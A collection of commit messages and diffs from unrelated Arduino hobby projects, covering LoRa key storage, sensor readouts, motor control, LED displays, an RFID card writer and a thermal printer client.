+    loraSetSessionKeys(settings.seq_no, settings.AppSKey, settings.NwkSKey, settings.DevAddr); \
+  } \
+}
+
+AssignSessionCallback(DevAddr)
+AssignSessionCallback(NwkSKey)
+AssignSessionCallback(AppSKey)
+
+#define AssignAppCallback(key) \
+void assign##key##Callback(uint8_t data[], uint16_t len) { \
+  debugLogData("assign" #key, data, len); \
+  if (len==sizeof(settings.key)) {        \
+    memcpy(settings.key, data, sizeof(settings.key)); \
+    writeNVBytes(offset(settings, key), settings.key, sizeof(settings.key)); \
+  } \
+}
+
+AssignAppCallback(AppKey)
+AssignAppCallback(AppEUI)
+AssignAppCallback(DevEUI)
+
+// void assignDevAddrCallback(uint8_t data[], uint16_t len) {
+//   debugLogData("assignDevAddr", data, len);
+//   if (len==sizeof(settings.DevAddr)) {
+//     memcpy(settings.DevAddr, data, sizeof(settings.DevAddr));
+//     writeNVBytes(offset(settings, DevAddr), settings.DevAddr, sizeof(settings.DevAddr));
+//     loraSetSessionKeys(settings.seq_no, settings.AppSKey, settings.NwkSKey, settings.DevAddr);
+//   }
+// }
+//
+// void assignNwkSKeyCallback(uint8_t data[], uint16_t len) {
+//   debugLogData("assignNwkSKey", data, len);
+//   if (len==sizeof(settings.NwkSKey)) {
+//     memcpy(settings.NwkSKey, data, sizeof(settings.NwkSKey));
+//     writeNVBytes(offset(settings, NwkSKey), settings.NwkSKey, sizeof(settings.NwkSKey));
+//     loraSetSessionKeys(settings.seq_no, settings.AppSKey, settings.NwkSKey, settings.DevAddr);
+//   }
+// }
+//
+// void assignAppSKeyCallback(uint8_t data[], uint16_t len) {
+//   debugLogData("assignAppSKey", data, len);
+//   if (len==sizeof(settings.AppSKey)) {
+//     memcpy(settings.AppSKey, data, sizeof(settings.AppSKey));
+//     writeNVBytes(offset(settings, AppSKey), settings.AppSKey, sizeof(settings.AppSKey));
+//     loraSetSessionKeys(settings.seq_no, settings.AppSKey, settings.NwkSKey, settings.DevAddr);
+//   }
+// }
+//
+// void assignAppKeyCallback(uint8_t data[], uint16_t len) {
+//   debugLogData("assignAppKey", data, len);
+//   if (len==sizeof(settings.AppKey)) {
+//     memcpy(settings.AppKey, data, sizeof(settings.AppKey));
+//     writeNVBytes(offset(settings, AppKey), settings.AppKey, sizeof(settings.AppKey));
+//   }
+// }
+//
+// void assignAppEUICallback(uint8_t data[], uint16_t len) {
+//   debugLogData("assignAppEUI", data, len);
+//   if (len==sizeof(settings.AppEUI)) {
+//     memcpy(settings.AppEUI, data, sizeof(settings.AppEUI));
+//     writeNVBytes(offset(settings, AppEUI), settings.AppEUI, sizeof(settings.AppEUI));
+//   }
+// }
+//
+// void assignDevEUICallback(uint8_t data[], uint16_t len) {
+//   debugLogData("assignDevEUI", data, len);
+//   if (len==sizeof(settings.DevEUI)) {
+//     memcpy(settings.DevEUI, data, sizeof(settings.DevEUI));
+//     writeNVBytes(offset(settings, DevEUI), settings.DevEUI, sizeof(settings.DevEUI));
+//   }
+// }

 void assignSpreadingFactorCallback(uint8_t data[], uint16_t len) {
   if (len==1) {


Use TM1638 as display

Use TM1638 as display

--- dashboard/dashboard.ino
+++ dashboard/dashboard.ino
@@ -15,15 +15,17 @@
 */

 #include "Speedo.h"
+#include "Display.h"
+#include <TM1638.h>

 Speedo speedo = Speedo::sharedSpeedo();
+TM1638 displayModule(8, 9, 10);

 void setup() {

   Serial.begin(9600); // DEBUG

   speedo.setup();
-
 }

 void loop() {
@@ -31,7 +33,18 @@
   float mph = speedo.readMPHAndReset(17);
   Serial.println(mph);

+  setSpeedAndOdo( 10, 11);
+
   delay(1000);
+
+}
+
+void setSpeedAndOdo(unsigned long speed, unsigned long odometer) {
+
+    unsigned long value = odometer*1000+speed;
+
+    byte separator = 0x08;
+    displayModule.setDisplayToDecNumber(value,separator);

 }


Update ConsoleSerialTemp.ino

Update ConsoleSerialTemp.ino

--- examples/ConsoleSerialTemp/ConsoleSerialTemp.ino
+++ examples/ConsoleSerialTemp/ConsoleSerialTemp.ino
@@ -1,49 +1,50 @@
-/* ConsoleSerialTemp example
-
- Copyright 2017 Isaac100
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
-
- This exmaple writes the current temperarure
- in celcius and fahrenheit to the console.
- */
-
-#include <TMP36.h>
-#include <Bridge.h>
-#include <Console.h>
-
-//Create an instance of the TMP36 class and
-//define the pin the sensor is connected to
-TMP36 myTMP36(A0);
-
-void setup() {
-  Bridge.begin();
-  Console.begin();
-}
-
-void loop() {
-  //create a variable and store the current temperature in
-  //celius in it using the getTempC function
-  float celcius = myTMP36.getTempC();
-
-  //create a variable and store the current temperature in
-  //fahrenheit in it using the getTempF function
-  float fahrenheit = myTMP36.getTempF();
-
-  //Print the data to the Console monitor
-  Console.print("Celcius: ");
-  Console.print(celcius);
-  Console.print(" Fahrenheit: ");
-  Console.println(fahrenheit);
-  delay(500);
+/* ConsoleSerialTemp example
+
+ Copyright 2017 Isaac100
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+
+ This exmaple writes the current temperarure
+ in celcius and fahrenheit to the console.
+ */
+
+#include <TMP36.h>
+#include <Bridge.h>
+#include <Console.h>
+
+//Create an instance of the TMP36 class and
+//define the pin the sensor is connected to
+//If using 3.3v Arduino, change 5 to 3.3
+TMP36 myTMP36(A0, 5.0);
+
+void setup() {
+  Bridge.begin();
+  Console.begin();
 }
+
+void loop() {
+  //create a variable and store the current temperature in
+  //celius in it using the getTempC function
+  float celcius = myTMP36.getTempC();
+
+  //create a variable and store the current temperature in
+  //fahrenheit in it using the getTempF function
+  float fahrenheit = myTMP36.getTempF();
+
+  //Print the data to the Console monitor
+  Console.print("Celcius: ");
+  Console.print(celcius);
+  Console.print(" Fahrenheit: ");
+  Console.println(fahrenheit);
+  delay(500);
+}


Use an Accept header to indiate what kind of data we want.

This should let the server do two things:

1) Support different printers
2) Support different modes on printers (text vs bitmap; raw byte stream vs bitmap image to be parsed.

--- printer.ino
+++ printer.ino
@@ -11,8 +11,9 @@
 const char *printerId = "abcdef123456"; // the unique ID for this printer.
 byte mac[] = { 0x90, 0xA2, 0xDA, 0x00, 0x86, 0x67 }; // physical mac address

-const char* host = "printer.gofreerange.com";
+const char *printerType = "A2-bitmap"; // controls the format of the data sent from the server

+const char* host = "printer.gofreerange.com"; // the host of the backend server
 const unsigned int port = 80;
 const unsigned long pollingDelay = 10000; // delay between polling requests (milliseconds)

@@ -99,6 +100,7 @@
     digitalWrite(downloadLED, HIGH);
     client.print("GET "); client.print("/printer/"); client.print(printerId); client.println(" HTTP/1.0");
     client.print("Host: "); client.print(host); client.print(":"); client.println(port);
+    client.print("Accept: application/vnd.freerange.printer."); client.println(printerType);
     client.println();
     boolean parsingHeader = true;
 #ifdef DEBUG


Process when phone user loses correctly

Process when phone user loses correctly

--- Arduino_Code/Arduino_Code.ino
+++ Arduino_Code/Arduino_Code.ino
@@ -193,20 +193,27 @@
       if(animationIndex == (endI + 1))
       {
         displayResultAnimation = false;
-        if (playerWasCorrect) {
+        if (playerWasCorrect && !phoneUserLost) {
           creatingSequence = true;
           listeningToButtons = true;
           resetButtonLog();
         }
-        else
-        {
-          if (!phoneUserLost)
+        else if (!phoneUserLost) {
             Serial.println(9);

           displayResultAnimation = false;
           playerWasCorrect = true;

         }
+        //get whole game ready to go again
+        else if (phoneUserLost)
+        {
+          animationIndex = -1;
+          phoneUserLost = false;
+          playerWasCorrect = true;
+          displayResultAnimation = false;
+        }
+
       }
       timeLEDlastChanged = millis();
     }


Added auto reset to card after registration

--- frontdesk/frontdesk.ino
+++ frontdesk/frontdesk.ino
@@ -71,11 +71,10 @@

 		sendCommand(CMD_WRITE, blockID, userData, keyA, 0, 1);
 		delay(waitforWriteResponse);
-		sendCommand(CMD_WRITE, blockID, machineID, keyA, 0, 0);
-		delay(waitforWriteResponse);

 		if (id != 0) {
 			Serial.write(id);
+			sendCommand(CMD_WRITE, blockID, machineID, keyA, 0, 0);
 			id = 0;
 		}


added reverse to drive.ino

added reverse to drive.ino

--- Arduino/drive/drive.ino
+++ Arduino/drive/drive.ino
@@ -10,9 +10,11 @@
 #define SERVO_40_DEG_L      850
 #define SERVO_40_DEG_R      2150

-#define MOTOR_NEUTRAL       1520 // TODO: verify value, may vary depending on ESC calibration
+#define MOTOR_NEUTRAL       1450
 #define MOTOR_BRAKE_MAX     650
 #define MOTOR_THROTTLE_MAX  2000
+#define MOTOR_FORWARD_MAX   2000  // [1550-2000]
+#define MOTOR_REVERSE_MAX   1000  // [1300-1000]

 #define SERVO 0
 #define MOTOR 1
@@ -25,7 +27,7 @@

 /* steering deg [-20,...,20] */
 int steering = 0;
-/* throttle pct [0,...,100] */
+/* throttle pct [-100,...,100] */
 int velocity = 0;

 int count = 0; //Variable to check for Failsafe
@@ -126,7 +128,7 @@
         else if (c == divider) {  // End of String
             switch (mode) {
                 case SERVO: steering = data.toInt();
-                case MOTOR: velocity = data.toInt();
+                case MOTOR: velocity = data.toInt();  // TODO: verify that negative values are parsed correctly (for reverse)
             }
             return;
         } else {
@@ -149,14 +151,15 @@
 }

 void updateMotor() {
-    /* map [-100,...,100] to [MOTOR_BRAKE_MAX,...,MOTOR_THROTTLE_MAX] */
+    /* map [-100,...,100] to [MOTOR_REVERSE_MAX,...,MOTOR_NEUTRAL] if reverse, [MOTOR_NEUTRAL,...,MOTOR_FORWARD_MAX] if forward */
     int val = 0;
     if (velocity == 0) {
         val = MOTOR_NEUTRAL; // move to center position (lower than center should brake)
+    } else if (velocity < MOTOR_NEUTRAL) {
+      val = map(velocity, -100, 0, MOTOR_REVERSE_MAX, MOTOR_NEUTRAL); // reverse
     } else {
-        val = map(velocity, 0, 100, MOTOR_NEUTRAL, MOTOR_THROTTLE_MAX);
+      val = map(velocity, 0, 100, MOTOR_NEUTRAL, MOTOR_FORWARD_MAX); // forward
     }
-    // TODO: implement braking, e.g. add -100 to value range

     motor.writeMicroseconds(val);
 }


Delete WifiAC_RGB_LedControl.ino

Delete WifiAC_RGB_LedControl.ino

--- WifiAC_RGB_LedControl.ino
+++ WifiAC_RGB_LedControl.ino
@@ -1,139 +0,0 @@
-#include <ESP8266WiFi.h>
-
-//////////////////////
-// WiFi Definitions //
-//////////////////////
-const char WiFiAPPSK[] = "thereisnospoon";
-
-
-String getValue(String data, char separator, int index)
-{
- int found = 0;
-  int strIndex[] = {
-0, -1  };
-  int maxIndex = data.length()-1;
-  for(int i=0; i<=maxIndex && found<=index; i++){
-  if(data.charAt(i)==separator || i==maxIndex){
-  found++;
-  strIndex[0] = strIndex[1]+1;
-  strIndex[1] = (i == maxIndex) ? i+1 : i;
-  }
- }
-  return found>index ? data.substring(strIndex[0], strIndex[1]) : "";
-}
-
-WiFiServer server(80);
-
-int blue = D2;
-int green = D3;// the pin that the LED is attached to
-int red = D1;
-//d0 = onboard red
-//d4= onboard blue
-
-// the setup routine runs once when you press reset:
-void setup() {
-  Serial.begin(115200);
-  setupWiFi();
-  server.begin();
-
-  analogWriteRange(255);
-  pinMode(blue, OUTPUT);
-  pinMode(red, OUTPUT);
-  pinMode(green, OUTPUT);
-}
-
-
-void loop()
-{
-
-
-  // Check if a client has connected
-  WiFiClient client = server.available();
-  if (!client) {
-    return;
-  }
-
-  // Read the first line of the request
-  String req = client.readStringUntil('\r');
-  Serial.println(req);
-  client.flush();
-
-  // Match the request
-  int val = -1; // We'll use 'val' to keep track of both the
-                // request type (read/set) and value if set.
-  if (req.indexOf("/led/0") != -1)
-    val = 0; // Will write LED low
-  else if (req.indexOf("/led/1") != -1)
-    val = 1; // Will write LED high
-  else if (req.indexOf("/read") != -1)
-    val = -2; // Will print pin reads
-
-
-  client.flush();
-
-  if (req.indexOf("/rgb/") != -1){
-    String changes = getValue(req, '/', 2);
-    Serial.println(getValue(changes,',',0));
-   Serial.println(getValue(changes,',',1));
-   Serial.println(getValue(changes,',',2));
-   int   f = atoi(getValue(changes,',',0).c_str());
-   analogWrite(red,255-f);
-   f = atoi(getValue(changes,',',1).c_str());
-   analogWrite(green,255-f);
-   f = atoi(getValue(changes,',',2).c_str());
-   analogWrite(blue,255-f);
-
-   ///analogWrite(green,255-toInt(getValue(changes,',',1))));
-   //analogWrite(blue,255-toInt(getValue(changes,',',2))));
-    //analogWrite(blue,changes.getValue(changes,',',2)));
-
-  }
-
-
-
-  client.flush();
-
-
-
-  // Prepare the response. Start with the common header:
-  String s = "HTTP/1.1 200 OK\r\n";
-  s += "Content-Type: text/html\r\n\r\n";
-  s += "<!DOCTYPE HTML>\r\n\r\n";
-  // If we're setting the LED, print out a message saying we did
-  if (val <= 0)
-  {
-    s += "Invalid Request.
 Try /rgb/r,g,b where r,g,b are 0-255.";
-  }
-  s += "\n";
-
-  // Send the response to the client
-  client.print(s);
-  delay(1);
-  Serial.println("Client disonnected");
-
-  // The client will actually be disconnected
-  // when the function returns and 'client' object is detroyed
-}
-
-void setupWiFi()
-{
-  WiFi.mode(WIFI_AP);
-
-  // Do a little work to get a unique-ish name. Append the
-  // last two bytes of the MAC (HEX'd) to "Thing-":
-  uint8_t mac[WL_MAC_ADDR_LENGTH];
-  WiFi.softAPmacAddress(mac);
-  String macID = String(mac[WL_MAC_ADDR_LENGTH - 2], HEX) +
-                 String(mac[WL_MAC_ADDR_LENGTH - 1], HEX);
-  macID.toUpperCase();
-  String AP_NameString = "LED_Strip [NodeMCU] " + macID;
-
-  char AP_NameChar[AP_NameString.length() + 1];
-  memset(AP_NameChar, 0, AP_NameString.length() + 1);
-
-  for (int i=0; i<AP_NameString.length(); i++)
-    AP_NameChar[i] = AP_NameString.charAt(i);
-
-  WiFi.softAP(AP_NameChar);// passwordless, WiFiAPPSK);
-}
-


using switch case in main loop, fixing move fucntions

--- arduinoFIles/finalSprintCode/finalSprintCode.ino
+++ arduinoFIles/finalSprintCode/finalSprintCode.ino
@@ -8,14 +8,19 @@
 Adafruit_DCMotor *myMotor = AFMS.getMotor(3);
 Adafruit_StepperMotor *linearMotor = AFMS.getStepper(200,1);

-//code here to initialize all digital input ports
+//code here to initialize all digital I/O ports as ints
+int platformLimit = 10;
+int platformDirection = 11;

 void setup() {
   AFMS.begin();
-
   Serial.begin(9600);
-
+
+  //set pinMode for every digital I/O pin
+  pinMode(platformLimit, INPUT);
+  pinMode(platformDirection, OUTPUT)
+
 }

@@ -39,10 +44,29 @@
     serialNumbers += c;
  }

-
- if (serialInput == "CON"){
-   Serial.println("YES");
- }
+switch (serialInput) {
+  case "CON":  //connection check
+    Serial.println("YES");
+    break;
+  case "GB?": //green button check
+    break;
+  case "OS?":
+    break;
+  case "LSI":
+    moveTopStepper(serialNumbers,1);
+    break;
+  case "LSO":
+    moveTopStepper(serialNumbers,0);
+    break;
+  case "RPC":
+    spinPlatform(serialNumbers,1);
+    break;
+  case "RPN":
+    spinPlatform(serialNumbers,0);
+    break;
+
+}
+

  if (serialInput == "TLS"){
    moveTopStepper();
@@ -58,16 +82,6 @@

  if (serialInput == "TFS"){
    turnSideFrostingMotor();
- }
-
- if (serialInput == "LSI"){
-   directions = 1;
-   moveTopStepper();
- }
-
- if (serialInput == "LSO"){
-   directions = 0;
-   moveTopStepper();
  }

  if (serialInput == "FTD"){
@@ -90,16 +104,6 @@
    turnSideFrostingMotor();
  }

- if (serialInput == "RPC"){
-   step = 5;
-   spinPlatform();
-}
-
- if (serialInput == "RPN"){
-   step = -5;
-   spinPlatform();
- }
-
  if (serialInput == "CLS"){
    calibrateLinear();
  }
@@ -107,16 +111,7 @@
  if (serialInput == "CPS"){
    calibrateStepper();
  }
-
-
-
- if (serialInput == "GB?"){
-   drawingButton();
- }
-
- if (serialInput == "OS?"){
-   callibrateLinear();
- }
+

  }

@@ -194,15 +189,21 @@
   //this moves the top frosting motor given # of steps
   //directions should be 1 to move inward, 0 for out
   linearMotor->setSpeed(60);
-
-
-
-  linearMotor->run(RELEASE);
-}
-
-
-
-void calibrateLinear(int steps, int directions){
+  byte spinDir = 0;
+  if (directions == 1){
+    spinDir = FORWARD;
+  }
+  else if (directions == 0){
+    spinDir = BACKWARD;
+  }
+  linearMotor.step(steps, spinDir,SINGLE)
+
+  linearMotor.release();
+}
+
+
+
+void calibrateTopStepper(){
   int limitSwitchOne() {
   int reading = digitalRead(masterOnOff);
   int callibrateOne = digitalRead(limitOne);
@@ -225,7 +226,7 @@
 }

-void drawingButton(int steps, int directions){
+void greenButton(int steps, int directions){
   int exportButton() {
   int greenReading = digitalRead(greenButton);
   int orangeReading = digitalRead(masterOnOff);
@@ -268,23 +269,20 @@

-void spinPlatform(int steps, int directions){ //this spins the cake platform given # of steps
+void spinPlatform(int steps, int directions){
+  //this spins the cake platform given # of steps
+  //direction of 1 should mean clockwise, 0 = counterclockwise
+  //no outputs
   int stepCounter = steps;
-  //int turn = directions;
+  digitalWrite(platformDirection,LOW)
+  if (directions == 1) {  // switches direction if clockwise. May have to change this
+    digitalWrite(platformDirection,HIGH)
+  }
+
   while (stepCounter>0){
-    Serial.print("turn a step cw");
     digitalWrite(platformStep, HIGH);
-    delay(200);
+    delay(100);
     digitalWrite(platformStep,LOW);
     stepCounter -= 1;
-    delay(200);
-
-  while (stepCounter<0){
-    Serial.print("turn a step ccw");
-    digitalWrite(platformStep, LOW);
-    delay(200);
-    digitalWrite(platformStep, HIGH);
-    stepCounter -= 1;
-    delay(200); }
-
-}
+    delay(200);
+}


speed up arduino serial connection

speed up arduino serial connection

--- humidity1/humidity1.ino
+++ humidity1/humidity1.ino
@@ -21,7 +21,7 @@
 unsigned long deltat;

 void setup() {
-  Serial.begin(19200);
+  Serial.begin(115200);
   Serial.println(F("Humidity sensor"));
   pinMode(VCCPin, OUTPUT);
   t = micros();


status stale after 2 seconds

status stale after 2 seconds

--- vfobox.ino
+++ vfobox.ino
@@ -62,6 +62,7 @@
 boolean blinkState = false;

 long lastStatus = 0;
+boolean statusDisplayed = false;

 boolean mem_armed[NUMBER_MEM_BUTTONS];
 long last_mem[NUMBER_MEM_BUTTONS];
@@ -76,8 +77,8 @@
 // subroutine to blank a display line
 void clear_line(byte lineNumber) {
   lcd.noBlink();
+  lcd.setCursor(0,lineNumber);
   for (int pos=0; pos < 20; pos++){
-    lcd.setCursor(pos,lineNumber);
     lcd.print(" ");
   }
 }
@@ -87,6 +88,8 @@
   clear_line(1);
   lcd.setCursor(0,1);
   lcd.print(statusLine);
+  statusDisplayed = true;
+  lastStatus = millis();
 }

 // subroutine to display the frequency...
@@ -256,14 +259,17 @@
       // long push = commit to memory
       EEPROM.put(eeAddressStart+buttons*sizeof(double),freq);
       strcpy(statusLine,"m");
-      strcat(statusLine,"0" + buttons);
+      statusLine[1] = '0' + buttons;
+      statusLine[2] = 0; // so that next bit gets add on here
       strcat(statusLine," stored");
       update_status();
       } else {
       // short push = qsy to memory frequency
       EEPROM.get(eeAddressStart+buttons*sizeof(double),freq);
-      lcd.print("recall m");
-      lcd.print(buttons+1);
+      strcpy(statusLine,"recall m");
+      statusLine[8] = '0' + buttons;
+      statusLine[9] = 0;
+      update_status();
       send_frequency(freq);
       display_frequency(freq);
       }
@@ -271,4 +277,10 @@
       last_mem[buttons] = millis();
     }
   }
-}
+
+  //wipe stale status
+  if (statusDisplayed && millis() - lastStatus > 2000) {
+    clear_line(1);
+    statusDisplayed = false;
+  }
+}


fixes refresh rate

fixes refresh rate

correctly handles the fastest update speed

--- Gamer_Ant/Gamer_Ant.ino
+++ Gamer_Ant/Gamer_Ant.ino
@@ -50,7 +50,11 @@
   #endif

   if (gamer.isPressed(DOWN)) {
-    refresh = min(500, refresh * 2);
+    if (refresh <= 0) {
+      refresh = 1;
+    } else {
+      refresh = min(2048, refresh * 2);
+    }
   } else if (gamer.isPressed(UP)) {
     refresh = max(0, refresh / 2);
   }


Update Relay.ino

Update Relay.ino

--- Examples/Relay/Relay.ino
+++ Examples/Relay/Relay.ino
@@ -3,7 +3,6 @@
  */

 #include <ESP8266WiFi.h>
-#include <PubSubClient.h>
 #include <ESP8266httpUpdate.h>
 #include <ESP8266HTTPClient.h>
 #include <ArduinoJson.h>


deleting example

deleting example

--- DiceTest.ino
+++ DiceTest.ino
@@ -1,15 +0,0 @@
-#define DEBUG
-#include "Dice.h"
-
-
-Dice myDice(9,10,11);
-
-void setup() {
-  Serial.begin(9600);
-}
-
-
-void loop() {
-  myDice.roll();
-  delay(2000);
-}


test checpacket 1

test checpacket 1

--- XBee_rob_function_2.0/xBee_2.0/xBee_2.0.ino
+++ XBee_rob_function_2.0/xBee_2.0/xBee_2.0.ino
@@ -1,10 +1,24 @@
 #include <Dynamixel_Serial.h>
-//#include <readxBee.h>
+#include <readxBee.h>

 int x, y, z, emg1, emg2;
 int infoPk[24];

-int actualName(){
+bool checkPacket(int *pk){//Generates checksum and compares with the one in the package. INT VERSION
+  int sum = 0;
+  for(int i = 3; i < 24; i++){       //Generate sum from index 3-to-22 (until, not incl. the checksum itself)
+    sum += pk[i];
+  }
+  sum = sum % 256;
+  if((255 - sum) == pk[24]){         //Check with the checksum of the package
+    return true;                     //ok, good package
+  }
+  else{
+    return false;                    //error
+  }
+}
+
+void actualName(){
   if(Serial1.available() >= 24){
     if (Serial1.read() == 0x7E){
           for (int i = 0; i < 24 ; i++){
@@ -28,8 +42,13 @@
           Serial.print(emg1);
           Serial.print(" EMG Ch.2 = ");
           Serial.print(emg2);
-          Serial.println();
-
+          //Serial.println();
+          if(checkPacket(infoPk) == true){
+            Serial.println("| INT -- PASS |");
+          }
+          else{
+            Serial.println("| INT -- FAIL |");
+          }
     }
   }
 }
@@ -41,3 +60,31 @@
 void loop() {
   actualName();
 }
+
+
+
+
+/*for(int i = 0; i < 50; i++){
+  xBee.readPacket(infoPk);
+  for(int i = 13; i <= 22; i++){
+  Serial.print(infoPk[i], DEC);  // Printing the read package
+  Serial.print(" ");
+  }
+  if(xBee.checkPacket(infoPk)){ //Check and print if the package passed
+  Serial.println("| INT -- PASS |");
+  }else{Serial.println("| INT -- FAIL |");
+ }
+}
+bool xBeeClass::checkPacket(infoPk){//Generates checksum and compares with the one in the package. INT VERSION
+  int sum = 0;
+  for(int i = 3; i < 23; i++){       //Generate sum from index 3-to-22 (until, not incl. the checksum itself)
+    sum += infoPk[i];
+  }
+  sum = sum % 256;
+  if((255 - sum) == infoPk[23]){         //Check with the checksum of the package
+    return true;                     //ok, good package
+  }
+  else{
+    return false;                    //error
+  }
+}*/


Clarification Z Stabalization

Clarification Z Stabalization

--- ZstabalizationTest1/ZstabalizationTest1.ino
+++ ZstabalizationTest1/ZstabalizationTest1.ino
@@ -41,12 +41,12 @@

   /*
   buttonState = digitalRead(##buttonPin##);
-  // if putton pressed, ACTIVATE Z
+  // if putton pressed, ACTIVATE Z Stabalization
   if(buttonState == HIGH && !lockedZ){
     depthSavedState = sensor.depth();
     lockedZ = true;
   }
-  // if putton pressed, DEACTIVATE Z
+  // if putton pressed, DEACTIVATE Z Stabalization
   if(buttonState == HIGH && lockedZ){
     depthSavedState = sensor.depth();
     lockedZ = false;


Typo fixes

Typo fixes

--- PoF/motorControlPID.ino
+++ PoF/motorControlPID.ino
@@ -9,7 +9,7 @@

 #define     ENCODER_INTEGRAL_FORCE      1

-// endcoder needed variables
+// encoder needed variables
 uint32_t encoderSpeed, setPoint = 1000, powerLevel, encoderLastSignalChange = 0, encoderLastTimeBetweenPeaks = 0, bufferForEncoder;

 // main tasks time handling
@@ -88,10 +88,10 @@
     // static flag for peak detection
     static uint8_t peakStarted = 0;

-    // in case the peak eneded we need to update the last time between peaks
+    // in case the peak ended we need to update the last time between peaks
     if (1 == peakStarted)
     {
-        // load the new peap to peak time in the variable
+        // load the new peak to peak time in the variable
         encoderLastTimeBetweenPeaks = micros() - encoderLastSignalChange;

         // reset peak started flag
@@ -132,4 +132,4 @@

   // send end to tester
   Serial.write(0xFC);
-}+}


header

header


Delete ampli_tie-adjustable.ino

Delete ampli_tie-adjustable.ino

--- ampli_tie-adjustable/ampli_tie-adjustable.ino
+++ ampli_tie-adjustable/ampli_tie-adjustable.ino
@@ -1,232 +0,0 @@
-/*
-LED VU meter for Arduino and Adafruit NeoPixel LEDs.
-
- Hardware requirements:
- - Most Arduino or Arduino-compatible boards (ATmega 328P or better).
- - Adafruit Electret Microphone Amplifier (ID: 1063)
- - Adafruit Flora RGB Smart Pixels (ID: 1260)
- OR
- - Adafruit NeoPixel Digital LED strip (ID: 1138)
- - Optional: battery for portable use (else power through USB or adapter)
- Software requirements:
- - Adafruit NeoPixel library
-
- Connections:
- - 3.3V to mic amp +
- - GND to mic amp -
- - Analog pin to microphone output (configurable below)
- - Digital pin to LED data input (configurable below)
- See notes in setup() regarding 5V vs. 3.3V boards - there may be an
- extra connection to make and one line of code to enable or disable.
-
- Written by Adafruit Industries.  Distributed under the BSD license.
- This paragraph must be included in any redistribution.
-
- fscale function:
- Floating Point Autoscale Function V0.1
- Written by Paul Badger 2007
- Modified from code by Greg Shakar
-
- */
-
-#include <Adafruit_NeoPixel.h>
-#include <math.h>
-
-#define N_PIXELS  16  // Number of pixels in strand
-#define MIC_PIN   A9  // Microphone is attached to this analog pin
-#define LED_PIN    6  // NeoPixel LED strand is connected to this pin
-#define SAMPLE_WINDOW   10  // Sample window for average level
-#define PEAK_HANG 24 //Time of pause before peak dot falls
-#define PEAK_FALL 4 //Rate of falling peak dot
-#define INPUT_FLOOR 10 //Lower range of analogRead input
-#define INPUT_CEILING 1000 //Max range of analogRead input, the lower the value the more sensitive (1023 = max)
-
-
-
-byte peak = 16;      // Peak level of column; used for falling dots
-unsigned int sample;
-
-byte dotCount = 0;  //Frame counter for peak dot
-byte dotHangCount = 0; //Frame counter for holding peak dot
-
-Adafruit_NeoPixel strip = Adafruit_NeoPixel(N_PIXELS, LED_PIN, NEO_GRB + NEO_KHZ800);
-
-void setup()
-{
-  // This is only needed on 5V Arduinos (Uno, Leonardo, etc.).
-  // Connect 3.3V to mic AND TO AREF ON ARDUINO and enable this
-  // line.  Audio samples are 'cleaner' at 3.3V.
-  // COMMENT OUT THIS LINE FOR 3.3V ARDUINOS (FLORA, ETC.):
-  //  analogReference(EXTERNAL);
-
-  // Serial.begin(9600);
-  strip.begin();
-  strip.show(); // Initialize all pixels to 'off'
-
-}
-
-void loop()
-{
-  unsigned long startMillis= millis();  // Start of sample window
-  float peakToPeak = 0;   // peak-to-peak level
-
-  unsigned int signalMax = 0;
-  unsigned int signalMin = 1023;
-  unsigned int c, y;
-
-
-  // collect data for length of sample window (in mS)
-  while (millis() - startMillis < SAMPLE_WINDOW)
-  {
-    sample = analogRead(MIC_PIN);
-    if (sample < 1024)  // toss out spurious readings
-    {
-      if (sample > signalMax)
-      {
-        signalMax = sample;  // save just the max levels
-      }
-      else if (sample < signalMin)
-      {
-        signalMin = sample;  // save just the min levels
-      }
-    }
-  }
-  peakToPeak = signalMax - signalMin;  // max - min = peak-peak amplitude
-
-  // Serial.println(peakToPeak);
-
-
-  //Fill the strip with rainbow gradient
-  for (int i=0;i<=strip.numPixels()-1;i++){
-    strip.setPixelColor(i,Wheel(map(i,0,strip.numPixels()-1,30,150)));
-  }
-
-
-  //Scale the input logarithmically instead of linearly
-  c = fscale(INPUT_FLOOR, INPUT_CEILING, strip.numPixels(), 0, peakToPeak, 2);
-
-
-
-
-  if(c < peak) {
-    peak = c;        // Keep dot on top
-    dotHangCount = 0;    // make the dot hang before falling
-  }
-  if (c <= strip.numPixels()) { // Fill partial column with off pixels
-    drawLine(strip.numPixels(), strip.numPixels()-c, strip.Color(0, 0, 0));
-  }
-
-  // Set the peak dot to match the rainbow gradient
-  y = strip.numPixels() - peak;
-
-  strip.setPixelColor(y-1,Wheel(map(y,0,strip.numPixels()-1,30,150)));
-
-  strip.show();
-
-  // Frame based peak dot animation
-  if(dotHangCount > PEAK_HANG) { //Peak pause length
-    if(++dotCount >= PEAK_FALL) { //Fall rate
-      peak++;
-      dotCount = 0;
-    }
-  }
-  else {
-    dotHangCount++;
-  }
-}
-
-//Used to draw a line between two points of a given color
-void drawLine(uint8_t from, uint8_t to, uint32_t c) {
-  uint8_t fromTemp;
-  if (from > to) {
-    fromTemp = from;
-    from = to;
-    to = fromTemp;
-  }
-  for(int i=from; i<=to; i++){
-    strip.setPixelColor(i, c);
-  }
-}
-
-
-float fscale( float originalMin, float originalMax, float newBegin, float
-newEnd, float inputValue, float curve){
-
-  float OriginalRange = 0;
-  float NewRange = 0;
-  float zeroRefCurVal = 0;
-  float normalizedCurVal = 0;
-  float rangedValue = 0;
-  boolean invFlag = 0;
-
-
-  // condition curve parameter
-  // limit range
-
-  if (curve > 10) curve = 10;
-  if (curve < -10) curve = -10;
-
-  curve = (curve * -.1) ; // - invert and scale - this seems more intuitive - postive numbers give more weight to high end on output
-  curve = pow(10, curve); // convert linear scale into lograthimic exponent for other pow function
-
-  /*
-   Serial.println(curve * 100, DEC);   // multply by 100 to preserve resolution
-   Serial.println();
-   */
-
-  // Check for out of range inputValues
-  if (inputValue < originalMin) {
-    inputValue = originalMin;
-  }
-  if (inputValue > originalMax) {
-    inputValue = originalMax;
-  }
-
